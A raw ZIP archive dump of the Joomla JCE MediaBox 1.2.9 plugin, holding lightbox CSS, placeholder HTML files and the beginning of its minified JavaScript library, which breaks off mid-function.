.wf-mediabox-container{overflow:inherit}.wf-mediabox-theme-squeeze .wf-mediabox-close,.wf-mediabox-theme-squeeze .wf-mediabox-next,.wf-mediabox-theme-squeeze .wf-mediabox-prev{line-height:1em;position:absolute;text-align:center;color:#fff}.wf-mediabox-theme-squeeze .wf-mediabox-close:before,.wf-mediabox-theme-squeeze .wf-mediabox-next:before,.wf-mediabox-theme-squeeze .wf-mediabox-prev:before{content:"";border-radius:100%;box-shadow:1px 1px .25em #000;background-color:#000;width:1.2em;height:1.2em;position:absolute;z-index:-1;left:.4em;top:.3em;box-sizing:border-box}.wf-mediabox-theme-squeeze .wf-mediabox-close{right:-1em;top:-1em}.wf-mediabox-theme-squeeze .wf-mediabox-close>svg,.wf-mediabox-theme-squeeze .wf-mediabox-next>svg,.wf-mediabox-theme-squeeze .wf-mediabox-prev>svg{fill:#fff}.wf-mediabox-theme-squeeze .wf-mediabox-numbers button.active{background-color:#000}.wf-mediabox-theme-uikit .uk-modal-dialog{opacity:1;width:auto;transform:translateY(0);overflow:inherit;margin:inherit;max-width:inherit;border:0}.uk-modal-dialog-lightbox>.uk-close{height:20px}.wf-mediabox-theme-uikit .uk-modal-dialog-lightbox>.uk-close:first-child{left:auto;z-index:2}.wf-mediabox-theme-uikit .wf-mediabox-caption{padding:inherit;background-color:transparent}.wf-mediabox-theme-uikit .wf-mediabox-caption h4,.wf-mediabox-theme-uikit .wf-mediabox-caption p{color:inherit}.wf-mediabox-theme-uikit .uk-modal-dialog .wf-mediabox-content{z-index:1}.wf-mediabox-theme-uikit .uk-modal-dialog .wf-mediabox-loader{width:inherit;height:inherit;z-index:3}.wf-mediabox-theme-uikit .wf-mediabox-loading .wf-mediabox-loader{display:inline-flex}.wf-mediabox-theme-uikit .uk-modal-dialog .wf-mediabox-caption{top:auto;bottom:inherit;margin:inherit}.wf-mediabox-theme-uikit .wf-mediabox-content nav{position:absolute;left:0;top:0;right:0;bottom:0}.wf-mediabox-theme-uikit .wf-mediabox-content:hover nav{visibility:visible}.wf-mediabox-theme-uikit .wf-mediabox-next,.wf-mediabox-theme-uikit .wf-mediabox-next:focus,.wf-mediabox-theme-uikit .wf-mediabox-next:hover,.wf-mediabox-theme-uikit .wf-mediabox-prev,.wf-mediabox-theme-uikit .wf-mediabox-prev:focus,.wf-mediabox-theme-uikit .wf-mediabox-prev:hover{background-color:transparent}.wf-mediabox-theme-uikit .uk-modal-dialog-lightbox,.wf-mediabox-theme-uikit .wf-mediabox-close:hover{background-color:#fff}.wf-mediabox-theme-uikit .uk-slidenav-position .uk-slidenav-next{left:auto}.wf-mediabox-theme-uikit .wf-mediabox-next:after,.wf-mediabox-theme-uikit .wf-mediabox-prev:after{content:""}.wf-mediabox-theme-uikit .wf-mediabox-close:after{color:inherit;font-size:inherit;font-weight:inherit;margin:inherit}.wf-mediabox-theme-uikit .wf-mediabox-broken-image .uk-slidenav-contrast{color:rgba(50,50,50,.4)}PK�(]�O]e""&system/jcemediabox/css/jcemediabox.cssnu�[���@media print{a.jcepopup span.jcemediabox-zoom-image{background:0 0!important}}.jcepopup.hide,.jcepopup.noshow{display:none}#jcemediabox-popup-body,#jcemediabox-popup-container,#jcemediabox-popup-content,#jcemediabox-popup-iframe,#jcemediabox-popup-img,#jcemediabox-popup-loader,#jcemediabox-popup-object,#jcemediabox-popup-overlay,#jcemediabox-popup-page{left:0;top:0;margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:0 0;height:100%;width:100%}#jcemediabox-popup-body,#jcemediabox-popup-container,#jcemediabox-popup-content,#jcemediabox-popup-overlay{box-sizing:content-box}#jcemediabox-popup-page{position:fixed!important;z-index:10000}#jcemediabox-popup-page.scrolling{position:absolute!important}#jcemediabox-popup-overlay{position:absolute;cursor:pointer}#jcemediabox-popup-frame{position:relative;overflow:visible;height:100%;z-index:10001;cursor:pointer}#jcemediabox-popup-body{position:relative;overflow:visible;margin:0 auto;width:300px;height:300px;z-index:10002;cursor:default}#jcemediabox-popup-loader{text-align:center;line-height:0}#jcemediabox-popup-info-bottom,#jcemediabox-popup-info-top{overflow:hidden;position:relative;margin:0;padding:0;border:0;visibility:hidden}#jcemediabox-popup-container{overflow:hidden}#jcemediabox-popup-content{width:100%;height:auto}#jcemediabox-popup-content.broken-image{background:url(../img/broken-image.png) center no-repeat}#jcemediabox-popup-content.broken-media{background:url(../img/broken-media.png) center no-repeat}#jcemediabox-popup-content.broken-page{background:url(../img/broken-page.png) center no-repeat}#jcemediabox-popup-content p.media-support{font-size:20px;color:#888;font-weight:700;text-align:center;height:100%;position:relative;top:50%;margin-top:-10px}#jcemediabox-popup-iframe,#jcemediabox-popup-img,#jcemediabox-popup-object{text-align:center}#jcemediabox-popup-content>embed,#jcemediabox-popup-content>img,#jcemediabox-popup-content>object,#jcemediabox-popup-content>video{width:100%;height:auto}#jcemediabox-popup-content object[type="application/x-shockwave-flash"]{height:inherit}#jcemediabox-popup-page.android #jcemediabox-popup-content,#jcemediabox-popup-page.ios #jcemediabox-popup-content{overflow:scroll}#jcemediabox-popup-ajax{overflow:auto;border:0;padding:0;margin:0;width:auto;height:100%;background-color:#fff;position:relative}a.jcemediabox-image{line-height:0!important;font-size:0!important}.wf_caption a.jcepopup{display:block}a.jcepopup span.jcemediabox-zoom-span{margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:0 0;cursor:pointer;display:inline-block;position:relative;float:none}a.jcepopup span.jcemediabox-zoom-image{margin:0;padding:0;border:0;outline:0;vertical-align:baseline;display:block;background:url(../img/zoom-img.png) bottom right no-repeat;width:100%;height:100%;position:absolute;z-index:1;bottom:0;left:0}a.jcepopup.icon-bottom-left span.jcemediabox-zoom-image,a.jcepopup.icon-left span.jcemediabox-zoom-image,a.jcepopup.zoom-bottom-left span.jcemediabox-zoom-image{background-position:bottom left}a.jcepopup.icon-top-left span.jcemediabox-zoom-image,a.jcepopup.zoom-top-left span.jcemediabox-zoom-image{background-position:top left}a.jcepopup.icon-top span.jcemediabox-zoom-image,a.jcepopup.icon-top-right span.jcemediabox-zoom-image,a.jcepopup.zoom-top-right span.jcemediabox-zoom-image{background-position:top right}a.jcepopup.icon-center span.jcemediabox-zoom-image,a.jcepopup.zoom-center span.jcemediabox-zoom-image{background-position:center center}a.jcepopup.icon-center-left span.jcemediabox-zoom-image,a.jcepopup.zoom-center-left span.jcemediabox-zoom-image{background-position:center left}a.jcepopup.icon-center-right span.jcemediabox-zoom-image,a.jcepopup.zoom-center-right span.jcemediabox-zoom-image{background-position:center right}a.jcepopup.icon-center-bottom span.jcemediabox-zoom-image,a.jcepopup.icon-center-top span.jcemediabox-zoom-image,a.jcepopup.zoom-center-bottom span.jcemediabox-zoom-image,a.jcepopup.zoom-center-top span.jcemediabox-zoom-image{background-position:center top}a.jcepopup span.jcemediabox-zoom-link,a.jcepopup span.jcemediabox-zoom-link.icon-right,a.jcepopup span.jcemediabox-zoom-link.zoom-right{padding-right:16px;background:url(../img/zoom-link.gif) center right no-repeat;display:inherit}a.jcepopup span.jcemediabox-zoom-link.icon-left,a.jcepopup span.jcemediabox-zoom-link.zoom-left{padding-left:18px;background:url(../img/zoom-link.gif) center left no-repeat}#jcemediabox-popup-caption,#jcemediabox-popup-caption h4,#jcemediabox-popup-caption p{margin:0;padding:0;border:0}div.jcemediabox-tooltip,div.jcemediabox-tooltip-simple{z-index:10010;width:180px;text-align:left;color:#000;background-color:#fff;border:1px solid #000;padding:4px;float:none;max-width:100%;position:absolute;top:0;left:0;visibility:hidden}div.jcemediabox-tooltip h4,div.jcemediabox-tooltip-simple h4{font-weight:700;font-size:11px;margin:0;background:0 0;padding:0}div.jcemediabox-tooltip p,div.jcemediabox-tooltip-simple p{font-size:11px;background:0 0;margin:0;padding:0}a.jcepopup.ie6 span.jcemediabox-zoom-image{background:url(../img/zoom-img.png) no-repeat;width:20px;height:20px;left:auto;top:auto;right:0}a.jcepopup.ie6 span.jcemediabox-zoom-link{display:inline-block}a.jcepopup.icon-bottom-left span.jcemediabox-zoom-image,a.jcepopup.ie6.icon-left span.jcemediabox-zoom-image{top:auto;right:0}a.jcepopup.icon-top-right span.jcemediabox-zoom-image,a.jcepopup.ie6.icon-top span.jcemediabox-zoom-image{top:0}a.jcepopup.ie6.icon-left span.jcemediabox-zoom-image{left:0;right:auto}.wf-mediaplayer-object{background-color:transparent;background-repeat:no-repeat;background-size:cover;background-position:center}.wf-mediaplayer-object i{padding:5px 0;display:inline-block;text-align:center;background-color:#fff}.wf-mediaplayer-object img{width:inherit;height:inherit}.wf-mediaplayer-container{display:block}PK�(]�#o,,!system/jcemediabox/css/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]�#o,, system/jcemediabox/js/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(])S�R����$system/jcemediabox/js/jcemediabox.jsnu�[���/* jcemediabox - 1.2.9 | 2017-04-05 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(window){var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(input){var chr1,chr2,chr3,enc1,enc2,enc3,enc4,output="",i=0;for(input=Base64._utf8_encode(input);i<input.length;)chr1=input.charCodeAt(i++),chr2=input.charCodeAt(i++),chr3=input.charCodeAt(i++),enc1=chr1>>2,enc2=(3&chr1)<<4|chr2>>4,enc3=(15&chr2)<<2|chr3>>6,enc4=63&chr3,isNaN(chr2)?enc3=enc4=64:isNaN(chr3)&&(enc4=64),output=output+Base64._keyStr.charAt(enc1)+Base64._keyStr.charAt(enc2)+Base64._keyStr.charAt(enc3)+Base64._keyStr.charAt(enc4);return output},decode:function(input){var chr1,chr2,chr3,enc1,enc2,enc3,enc4,output="",i=0;for(input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");i<input.length;)enc1=Base64._keyStr.indexOf(input.charAt(i++)),enc2=Base64._keyStr.indexOf(input.charAt(i++)),enc3=Base64._keyStr.indexOf(input.charAt(i++)),enc4=Base64._keyStr.indexOf(input.charAt(i++)),chr1=enc1<<2|enc2>>4,chr2=(15&enc2)<<4|enc3>>2,chr3=(3&enc3)<<6|enc4,output+=String.fromCharCode(chr1),64!=enc3&&(output+=String.fromCharCode(chr2)),64!=enc4&&(output+=String.fromCharCode(chr3));return output=Base64._utf8_decode(output)},_utf8_encode:function(string){string=string.replace(/\r\n/g,"\n");for(var utftext="",n=0;n<string.length;n++){var c=string.charCodeAt(n);c<128?utftext+=String.fromCharCode(c):c>127&&c<2048?(utftext+=String.fromCharCode(c>>6|192),utftext+=String.fromCharCode(63&c|128)):(utftext+=String.fromCharCode(c>>12|224),utftext+=String.fromCharCode(c>>6&63|128),utftext+=String.fromCharCode(63&c|128))}return utftext},_utf8_decode:function(utftext){for(var string="",i=0,c=0,c1=0,c2=0;i<utftext.length;)c=utftext.charCodeAt(i),c<128?(string+=String.fromCharCode(c),i++):c>191&&c<224?(c1=utftext.charCodeAt(i+1),string+=String.fromCharCode((31&c)<<6|63&c1),i+=2):(c1=utftext.charCodeAt(i+1),c2=utftext.charCodeAt(i+2),string+=String.fromCharCode((15&c)<<12|(63&c1)<<6|63&c2),i+=3);return string}};window.btoa||(window.btoa=Base64.encode),window.atob||(window.atob=Base64.decode);var support={};support.video=function(){var elem=document.createElement("video"),bool=!1;try{(bool=!!elem.canPlayType)&&(bool=new Boolean(bool),bool.ogg=elem.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),bool.h264=elem.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),bool.webm=elem.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,""))}catch(e){}return bool}();var entities={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;"};support.audio=function(){var elem=document.createElement("audio"),bool=!1;try{(bool=!!elem.canPlayType)&&(bool=new Boolean(bool),bool.ogg=elem.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),bool.mp3=elem.canPlayType("audio/mpeg;").replace(/^no$/,""),bool.wav=elem.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),bool.m4a=(elem.canPlayType("audio/x-m4a;")||elem.canPlayType("audio/aac;")).replace(/^no$/,""))}catch(e){}return bool}(),window.JCEMediaBox={domLoaded:!1,options:{popup:{width:"",height:"",legacy:0,lightbox:0,shadowbox:0,overlay:1,overlayopacity:.8,overlaycolor:"#000000",resize:0,icons:1,fadespeed:500,scalespeed:500,hideobjects:1,scrolling:"fixed",close:2,labels:{close:"Close",next:"Next",previous:"Previous",numbers:"{$current} of {$total}",cancel:"Cancel"},cookie_expiry:7,google_viewer:0,pdfjs:0},tooltip:{speed:150,offsets:{x:16,y:16},position:"br",opacity:.8,background:"#000000",color:"#ffffff"},base:"/",pngfix:!1,pngfixclass:"",theme:"standard",imgpath:"plugins/system/jcemediabox/img",mediafallback:!1,mediaplayer:"",mediaselector:"audio,video"},init:function(options){if(this.extend(this.options,options),this.isIE6)try{document.execCommand("BackgroundImageCache",!1,!0)}catch(e){}support.video&&support.audio||document.createElement("source"),this.ready()},ready:function(){function detach(){doc.addEventListener?(doc.removeEventListener("DOMContentLoaded",completed,!1),win.removeEventListener("load",completed,!1)):(doc.detachEvent("onreadystatechange",completed),win.detachEvent("onload",completed))}function completed(event){detach(),self.domLoaded=!0,self._init()}var win=window,doc=win.document,self=JCEMediaBox;if(self.domLoaded)return self._init();if("complete"===doc.readyState)setTimeout(completed);else if(doc.addEventListener)doc.addEventListener("DOMContentLoaded",completed,!1),win.addEventListener("load",completed,!1);else{doc.attachEvent("onreadystatechange",completed),win.attachEvent("onload",completed);var top=!1;try{top=null==win.frameElement&&doc.documentElement}catch(e){}top&&top.doScroll&&!function doScrollCheck(){if(!self.domLoaded){try{top.doScroll("left")}catch(e){return setTimeout(doScrollCheck,50)}completed()}}()}},getSite:function(){var base=this.options.base;if(base){var site=document.location.href,parts=site.split("://"),port=parts[0],url=parts[1];return url=url.indexOf(base)!=-1?url.substr(0,url.indexOf(base)):url.substr(0,url.indexOf("/"))||url,port+"://"+url+base}return null},_init:function(){var self=this,na=navigator,ua=na.userAgent;return self.isOpera=window.opera&&opera.buildNumber,self.isWebKit=/WebKit/.test(ua),self.isChrome=/Chrome\//.test(ua),self.isSafari=/Safari\//.test(ua),self.isIE=!self.isWebKit&&!self.isOpera&&/MSIE/gi.test(ua)&&/Explorer/gi.test(na.appName)&&!!window.ActiveXObject,self.isIE6=self.isIE&&/MSIE [56]/.test(ua)&&!window.XMLHttpRequest,self.isIE7=self.isIE&&/MSIE [7]/.test(ua)&&!!window.XMLHttpRequest&&!document.querySelector,self.isiOS=/(iPad|iPhone)/.test(ua),self.isAndroid=/Android/.test(ua),self.isMobile=self.isiOS||self.isAndroid,this.site=this.getSite(),!!this.site&&(this.Popup.init(),this.ToolTip.init(),void(this.options.mediafallback&&this.mediaFallback()))},mediaFallback:function(){function toAbsolute(url){var div=document.createElement("div");return div.innerHTML='<a href="'+url+'">x</a>',div.firstChild.href}function resolveMediaPath(s,absolute){return s&&s.indexOf("://")===-1&&"/"!==s.charAt(0)&&(s=self.options.base+s),absolute?toAbsolute(s):s}function checkSupport(name,type){var hasSupport=!1;for(var n in supportMap[name])supportMap[name][n].indexOf(type)!==-1&&(hasSupport=support[name]&&!!support[name][n]);return hasSupport}var self=this,DOM=this.DOM,each=this.each,selector=this.options.mediaselector,elms=DOM.select(selector),swf=this.options.mediaplayer||"plugins/system/jcemediabox/mediaplayer/mediaplayer.swf",supportMap={video:{h264:["video/mp4","video/mpeg"],webm:["video/webm"],ogg:["video/ogg"]},audio:{mp3:["audio/mp3","audio/mpeg"],ogg:["audio/ogg"],webm:["audio/webm"]}};elms.length&&each(elms,function(el){var type=el.getAttribute("type"),src=el.getAttribute("src"),name=el.nodeName.toLowerCase(),hasSupport=!1;if(src&&type)hasSupport=checkSupport(name,type);else{var source=DOM.select("source[type]",el);each(source,function(n){if(src=n.getAttribute("src"),type=n.getAttribute("type"),"video/x-flv"!==type&&(hasSupport=checkSupport(name,type)),!hasSupport)return!1}),hasSupport||"video"!==name||(source=DOM.select('source[type="video/x-flv"]',el),source.length&&(src=source[0].getAttribute("src"),type="video/x-flv"))}if(src&&type&&!hasSupport){var w=el.getAttribute("width"),h=el.getAttribute("height"),html="",flashvars=[];self.options.mediaplayer||flashvars.push("file="+resolveMediaPath(src,!0)),self.each(["autoplay","loop","preload","controls"],function(at){var v=el.getAttribute(at);"undefined"!=typeof v&&null!==v&&(v===at&&(v=!0),flashvars.push(at+"="+v))});var i,attrs=el.attributes;for(i=attrs.length-1;i>=0;i--){var attrName=attrs[i].name;if(attrName&&(attrName.indexOf("data-video-")!==-1||attrName.indexOf("data-audio-")!==-1)){var name=attrName.replace(/data-(video|audio)-/i,""),value=attrs[i].value;"undefined"==typeof value&&null===value||flashvars.push(name+"="+value)}}html+='<object class="wf-mediaplayer-object" data="'+resolveMediaPath(swf)+'" type="application/x-shockwave-flash"',w&&(html+=' width="'+w+'"'),h&&(html+=' height="'+h+'"'),html+=">",html+='<param name="movie" value="'+resolveMediaPath(swf)+'" />',html+='<param name="flashvars" value="'+flashvars.join("&")+'" />',html+='<param name="allowfullscreen" value="true" />',html+='<param name="wmode" value="transparent" />';var poster=el.getAttribute("poster");poster&&(html+='<img src="'+resolveMediaPath(poster)+'" alt="" />'),html+='<i>Flash is required to play this video. <a href="https://get.adobe.com/flashplayer" target="_blank">Get Adobe® Flash Player</a></i>',html+="</object>";var div=document.createElement("span");div.innerHTML=html;var o=div.firstChild;o&&"OBJECT"===o.nodeName&&(el.parentNode.replaceChild(o,el),poster&&(o.style.backgroundImage="url('"+resolveMediaPath(poster)+"')"))}})},each:function(o,cb,s){var n,l;if(!o)return 0;if(s=s||o,void 0!==o.length)for(n=0,l=o.length;n<l&&cb.call(s,o[n],n,o)!==!1;n++);else for(n in o)if(o.hasOwnProperty(n)&&cb.call(s,o[n],n,o)===!1)break;return o},extend:function(obj,ext){var i,l,name,value,args=arguments;for(i=1,l=args.length;i<l;i++){ext=args[i];for(name in ext)ext.hasOwnProperty(name)&&(value=ext[name],void 0!==value&&(obj[name]=value))}return obj},trim:function(s){return(s?""+s:"").replace(/^\s*|\s*$/g,"")},inArray:function(a,s){var i,l;if(a)for(i=0,l=a.length;i<l;i++)if(a[i]===s)return i;return-1},DOM:{get:function(s){return"string"==typeof s?document.getElementById(s):s},select:function(o,p){function inArray(a,v){var i,l;if(a)for(i=0,l=a.length;i<l;i++)if(a[i]===v)return!0;return!1}var s,parts,at,tag,cl,t=this,r=[],each=JCEMediaBox.each;return p=p||document,"*"==o?p.getElementsByTagName(o):p.querySelectorAll?p.querySelectorAll(o):(s=o.split(","),each(s,function(selectors){parts=JCEMediaBox.trim(selectors).split("."),tag=parts[0]||"*",cl=parts[1]||"",/\[(.*?)\]/.test(tag)&&(tag=tag.replace(/(.*?)\[(.*?)\]/,function(a,b,c){return at=c,b}));var elements=p.getElementsByTagName(tag);cl||at?each(elements,function(el){cl&&t.hasClass(el,cl)&&(inArray(r,el)||r.push(el)),at&&el.getAttribute(at)&&(inArray(r,el)||r.push(el))}):r=elements}),r)},hasClass:function(el,c){return new RegExp(c).test(el.className)},addClass:function(el,c){this.hasClass(el,c)||(el.className=JCEMediaBox.trim(el.className+" "+c))},removeClass:function(el,c){if(this.hasClass(el,c)){var s=el.className,re=new RegExp("(^|\\s+)"+c+"(\\s+|$)","g"),v=s.replace(re," ");v=v.replace(/^\s|\s$/g,""),el.className=v}},show:function(el){el.style.display="block"},hide:function(el){el.style.display="none"},remove:function(el,attrib){if(attrib)el.removeAttribute(attrib);else{var p=el.parentNode||document.body;p.removeChild(el)}},style:function(n,na,v){var r,s,isIE=JCEMediaBox.isIE;if(n){if(na=na.replace(/-(\D)/g,function(a,b){return b.toUpperCase()}),s=n.style,"undefined"==typeof v){if("float"==na&&(na=isIE?"styleFloat":"cssFloat"),r=s[na],document.defaultView&&!r){/float/i.test(na)&&(na="float"),na=na.replace(/[A-Z]/g,function(a){return"-"+a}).toLowerCase();try{r=document.defaultView.getComputedStyle(n,null).getPropertyValue(na)}catch(e){}}return n.currentStyle&&!r&&(r=n.currentStyle[na]),r}switch(na){case"opacity":v=parseFloat(v),isIE&&(s.filter=""===v?"":"alpha(opacity="+100*v+")",n.currentStyle&&n.currentStyle.hasLayout||(s.display="inline-block")),s[na]=v;break;case"float":na=isIE?"styleFloat":"cssFloat";break;default:v&&/(margin|padding|width|height|top|bottom|left|right)/i.test(na)&&(v=/^[\-0-9\.]+$/.test(v)?v+"px":v)}s[na]=v}},styles:function(el,props){var t=this;JCEMediaBox.each(props,function(v,s){return t.style(el,s,v)})},attribute:function(el,s,v){if("undefined"==typeof v)return"class"==s?el.className:(v=el.getAttribute(s),v&&/^on/.test(s)&&(v=v.toString(),v=v.replace(/^function\s+anonymous\(\)\s+\{\s+(.*)\s+\}$/,"$1")),"hspace"==s&&v==-1&&(v=""),v);switch(""===v&&el.removeAttribute(s),s){case"style":"object"==typeof v?this.styles(el,v):el.style.cssText=v;break;case"class":el.className=v||"";break;default:el.setAttribute(s,v)}},attributes:function(el,attribs){var t=this;JCEMediaBox.each(attribs,function(v,s){t.attribute(el,s,v)})},create:function(el,attribs,html){var o=document.createElement(el);return this.attributes(o,attribs),"undefined"!=typeof html&&(o.innerHTML=html),o},add:function(n,o,a,h){return"string"==typeof o&&(a=a||{},o=this.create(o,a,h)),n.appendChild(o),o},addBefore:function(n,o,c){"undefined"==typeof c&&(c=n.firstChild),n.insertBefore(o,c)},png:function(el){var s;if("IMG"==el.nodeName)s=el.src,/\.png$/i.test(s)&&(this.attribute(el,"src",JCEMediaBox.site+"plugins/system/jcemediabox/img/blank.gif"),this.style(el,"filter","progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+s+"')"));else if(s=this.style(el,"background-image"),/\.png/i.test(s)){var bg=/url\("(.*)"\)/.exec(s)[1];this.styles(el,{"background-image":"none",filter:"progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+bg+"', sizingMethod='image')"})}},encode:function(s){return(""+s).replace(/[<>&\"\']/g,function(c){return entities[c]||c})},decode:function(s){var el;return s=s.replace(/&lt;/g,"<").replace(/&gt;/g,">"),el=document.createElement("div"),el.innerHTML=s,el.innerHTML||s}},Event:{events:[],add:function(o,n,f,s){function _add(o,n,f){o.attachEvent?o.attachEvent("on"+n,f):o.addEventListener?o.addEventListener(n,f,!1):o["on"+n]=f}var t=this;cb=function(e){if(!t.disabled)return e=e||window.event,e&&JCEMediaBox.isIE&&(e.target||(e.target=e.srcElement||document),!e.relatedTarget&&e.fromElement&&(e.relatedTarget=e.fromElement==e.target?e.toElement:e.fromElement),JCEMediaBox.extend(e,{preventDefault:function(){this.returnValue=!1},stopPropagation:function(){this.cancelBubble=!0}})),e&&JCEMediaBox.isWebKit&&3==e.target.nodeType&&(e.target=e.target.parentNode),s?f.call(s,e):f(e)},t.events.push({obj:o,name:n,func:f,cfunc:cb,scope:s}),_add(o,n,cb)},remove:function(o,n,f){var t=this,a=t.events,s=!1;return JCEMediaBox.each(a,function(e,i){if(e.obj==o&&e.name==n&&(!f||e.func==f||e.cfunc==f))return a.splice(i,1),t._remove(o,n,e.cfunc),s=!0,!1}),s},_remove:function(o,n,f){if(o)try{o.detachEvent?o.detachEvent("on"+n,f):o.removeEventListener?o.removeEventListener(n,f,!1):o["on"+n]=null}catch(ex){}},cancel:function(e){return!!e&&(this.stop(e),this.prevent(e))},stop:function(e){return e.stopPropagation?e.stopPropagation():e.cancelBubble=!0,!1},prevent:function(e){return e.preventDefault?e.preventDefault():e.returnValue=!1,!1},destroy:function(){var t=this;JCEMediaBox.each(t.events,function(e,i){t._remove(e.obj,e.name,e.cfunc),e.obj=e.cfunc=null}),t.events=[],t=null},addUnload:function(f,s){function unload(){var o,n,li=t.unloads;if(li){for(n in li)o=li[n],o&&o.func&&o.func.call(o.scope,1);window.detachEvent?(window.detachEvent("onbeforeunload",fakeUnload),window.detachEvent("onunload",unload)):window.removeEventListener&&window.removeEventListener("unload",unload,!1),t.unloads=o=li=w=unload=0,window.CollectGarbage&&CollectGarbage()}}function fakeUnload(){function stop(){d.detachEvent("onstop",stop),unload&&unload(),d=0}var d=document;"interactive"==d.readyState&&(d&&d.attachEvent("onstop",stop),window.setTimeout(function(){d&&d.detachEvent("onstop",stop)},0))}var t=this;return f={func:f,scope:s||this},t.unloads?t.unloads.push(f):(window.attachEvent?(window.attachEvent("onunload",unload),window.attachEvent("onbeforeunload",fakeUnload)):window.addEventListener&&window.addEventListener("unload",unload,!1),t.unloads=[f]),f},removeUnload:function(f){var u=this.unloads,r=null;return JCEMediaBox.each(u,function(o,i){if(o&&o.func==f)return u.splice(i,1),r=f,!1}),r}},Dimensions:{getWidth:function(){return window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth||0},getHeight:function(){if(JCEMediaBox.isiOS||JCEMediaBox.isAndroid){var zoomLevel=document.documentElement.clientWidth/window.innerWidth;return window.innerHeight*zoomLevel}return window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0},getScrollHeight:function(){return document.documentElement.scrollHeight||document.body.scrollHeight||0},getScrollWidth:function(){return document.documentElement.scrollWidth||document.body.scrollWidth||0},getScrollTop:function(){return window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0},getScrollbarWidth:function(){var DOM=JCEMediaBox.DOM;if(this.scrollbarWidth)return this.scrollbarWidth;var outer=DOM.add(document.body,"div",{style:{position:"absolute",visibility:"hidden",width:200,height:200,border:0,margin:0,padding:0,overflow:"hidden"}}),inner=DOM.add(outer,"div",{style:{width:"100%",height:200,border:0,margin:0,padding:0}}),w1=parseInt(inner.offsetWidth);outer.style.overflow="scroll";var w2=parseInt(inner.offsetWidth);return w1==w2&&(w2=parseInt(outer.clientWidth)),document.body.removeChild(outer),this.scrollbarWidth=w1-w2,this.scrollbarWidth},outerWidth:function(n){var v=0,x=0;return x=n.offsetWidth,x||JCEMediaBox.each(["padding-left","padding-right","border-left","border-right","width"],function(s){v=parseFloat(JCEMediaBox.DOM.style(n,s)),v=/[0-9]/.test(v)?v:0,x+=v}),x},outerHeight:function(n){var v=0,x=0;return x=n.offsetHeight,x||JCEMediaBox.each(["padding-top","padding-bottom","border-top","border-bottom","height"],function(s){v=parseFloat(JCEMediaBox.DOM.style(n,s)),v=/[0-9]/.test(v)?v:0,x+=v}),x}},FX:{animate:function(el,props,speed,cb){var sv,DOM=JCEMediaBox.DOM,options={speed:speed||100,callback:cb||function(){}},styles={};return JCEMediaBox.each(props,function(v,s){sv=parseFloat(DOM.style(el,s)),styles[s]=[sv,v]}),new JCEMediaBox.fx(el,options).custom(styles),!0}}},JCEMediaBox.XHR=function(options,scope){this.options={async:!0,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"text/javascript, text/html, application/xml, text/xml, */*"},data:null,encoding:"UTF-8",success:function(){},error:function(){}},JCEMediaBox.extend(this.options,options),this.scope=scope||this},JCEMediaBox.XHR.prototype={setTransport:function(){function get(s){var x=0;try{x=new ActiveXObject(s)}catch(ex){}return x}this.transport=window.XMLHttpRequest?new XMLHttpRequest:get("Microsoft.XMLHTTP")||get("Msxml2.XMLHTTP")},onStateChange:function(){if(4==this.transport.readyState&&this.running){if(this.running=!1,this.transport.status>=200&&this.transport.status<300){var s=this.transport.responseText,x=this.transport.responseXML;this.options.success.call(this.scope,s,x)}else this.options.error.call(this.scope,this.transport,this.options);this.transport.onreadystatechange=function(){},this.transport=null}},send:function(url){var t=this,extend=JCEMediaBox.extend;if(this.running)return this;this.running=!0,this.setTransport();var method=this.options.data?"POST":"GET",encoding=this.options.encoding?"; charset="+this.options.encoding.toUpperCase():"",contentType={"Content-type":"text/html"+encoding};this.options.data&&(contentType={"Content-type":"application/x-www-form-urlencoded"+encoding}),extend(this.options.headers,contentType),this.transport.open(method,url,this.options.async),this.transport.onreadystatechange=function(){return t.onStateChange()};for(var type in this.options.headers)try{this.transport.setRequestHeader(type,this.options.headers[type])}catch(e){}this.transport.send(this.options.data)}},JCEMediaBox.fx=function(el,options){this.element=el,this.callback=options.callback,this.speed=options.speed,this.wait=!0,this.fps=50,this.now={}},JCEMediaBox.fx.prototype={step:function(){var time=(new Date).getTime();if(time<this.time+this.speed)this.cTime=time-this.time,this.setNow();else{var t=this;this.clearTimer(),this.now=this.to,setTimeout(function(){t.callback.call(t.element,t)},10)}this.increase()},setNow:function(){var p;for(p in this.from)this.now[p]=this.compute(this.from[p],this.to[p])},compute:function(from,to){var change=to-from;return this.transition(this.cTime,from,change,this.speed)},clearTimer:function(){return clearInterval(this.timer),this.timer=null,this},start:function(from,to){var t=this;if(this.wait||this.clearTimer(),!this.timer)return this.from=from,this.to=to,this.time=(new Date).getTime(),this.timer=setInterval(function(){return t.step()},Math.round(1e3/this.fps)),this},custom:function(o){if(!this.timer||!this.wait){var property,from={},to={};for(property in o)from[property]=o[property][0],to[property]=o[property][1];return this.start(from,to)}},increase:function(){for(var p in this.now)this.setStyle(this.element,p,this.now[p])},transition:function(t,b,c,d){return-c*Math.cos(t/d*(Math.PI/2))+c+b},setStyle:function(e,p,v){JCEMediaBox.DOM.style(e,p,v)}},JCEMediaBox.ToolTip={init:function(){var t=this,theme="custom"==JCEMediaBox.options.theme?JCEMediaBox.options.themecustom:JCEMediaBox.options.theme;this.tooltiptheme="",new JCEMediaBox.XHR({success:function(text,xml){var re=/<!-- THEME START -->([\s\S]*?)<!-- THEME END 